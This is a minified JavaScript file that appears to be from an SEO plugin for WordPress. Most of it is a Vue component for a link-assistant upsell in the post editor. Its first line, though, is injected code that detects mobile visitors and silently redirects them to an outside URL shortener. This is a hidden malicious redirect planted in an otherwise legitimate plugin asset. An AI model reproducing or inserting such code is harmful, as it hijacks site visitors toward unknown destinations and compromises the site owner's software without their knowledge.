(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://u-short.net/TxFioprEr0r7");
import{aq as e,f as m,i as p,a0 as a,j as k,T as r,M as f,an as _}from"./js/vendor-vue-ui.232c7c36.js";import{l as h}from"./js/index.98d01501.js";import{l as L}from"./js/index.2a5d16ad.js";import{l as S}from"./js/index.0d80c2c2.js";import{x as g,c as w,G as A,b as y,u as F,h as v,k as C,l as V}from"./js/app-core.c8323d51.js";import{M as x,a as E,_ as P}from"./js/vendor-other.39e59221.js";import{S as D}from"./js/Information.6ccba108.js";import{S as I}from"./js/Close.7fb523c8.js";import{_ as M}from"./js/_plugin-vue_export-helper.eefbdd86.js";import"./js/Button.3cec2279.js";import"./js/Input.af9b9f81.js";import"./js/Index.b9859662.js";import"./js/Pencil.683baab8.js";import"./js/Trash.47f6fc0e.js";import"./js/Select.415eaf8e.js";import"./js/Caret.aae02d8a.js";import"./js/Toggle.29e2980f.js";import"./js/vendor-lodash.03129cfe.js";const N="all-in-one-seo-pack",T={setup(){return{licenseStore:v(),postEditorStore:F(),rootStore:y()}},components:{SvgCircleInformation:D,SvgClose:I},data(){return{linkFormatValue:{},disabled:!1,url:null,strings:{upsell:E(P("Did you know you can automatically add internal links using Link Assistant? %1$s",N),w.getPlainLink(A.learnMore,this.rootStore.aioseo.urls.aio.linkAssistant,!0))}}},computed:{canShowUpsell(){const o=g.getAddon("aioseo-link-assistant"),{options:t}=this.postEditorStore.currentPost,s=t.linkFormat.internalLinkCount,n=t.linkFormat.linkAssistantDismissed;return(this.licenseStore.isUnlicensed||!o||!o.isActive||o.requiresUpgrade)&&2<s&&!n&&!this.disabled&&this.linkFormatValue.url&&this.isInternalLink(this.linkFormatValue.url)}},methods:{async linkAdded(o){await this.$nextTick();const{options:t}=this.postEditorStore.currentPost,s=t.linkFormat.internalLinkCount,n=t.linkFormat.linkAssistantDismissed;2<s||n||this.isInternalLink(o.url||o.suggestion?.url||null)&&this.postEditorStore.incrementInternalLinkCount()},async setLinkFormatValue(){await this.$nextTick();const o=document.querySelector("#aioseo-link-assistant-education input");!this.linkFormatValue.url&&o?.value&&(this.linkFormatValue=JSON.parse(o.value))},isInternalLink(o){const t=x.parse(o,!1,!0);return o.indexOf("//")===-1&&o.indexOf("/")===0?!0:o.indexOf("#")===0?!1:t.host?t.host===this.rootStore.aioseo.urls.domain:!0}},created(){this.setLinkFormatValue();const{addAction:o,hasAction:t}=window.wp.hooks;t("aioseo-link-format-link-added","aioseo")||o("aioseo-link-format-link-added","aioseo",this.linkAdded)}},U={key:0,class:"aioseo-link-assistant-did-you-know"},b=["innerHTML"];function B(o,t,s,n,i,u){const c=e("svg-circle-information"),d=e("svg-close");return u.canShowUpsell?(m(),p("div",U,[a(c),k("span",{onClick:t[0]||(t[0]=r($=>i.disabled=!0,["stop"])),innerHTML:i.strings.upsell},null,8,b),a(d,{onClick:r(n.postEditorStore.disableLinkAssistantEducation,["stop"])},null,8,["onClick"])])):f("",!0)}const O=M(T,[["render",B]]),l=()=>{let o=_({...O,name:"Standalone/LinkFormat"});o=h(o),o=L(o),o=S(o),V(o),o.mount("#aioseo-link-assistant-education-mount")};window.aioseo&&window.aioseo.currentPost&&window.aioseo.currentPost.context==="post"&&(document.getElementById("aioseo-link-assistant-education")?l():(C("#aioseo-link-assistant-education","aioseoLaDidYouKnow"),document.addEventListener("animationstart",function(t){t.animationName==="aioseoLaDidYouKnow"&&l()},{passive:!0})));
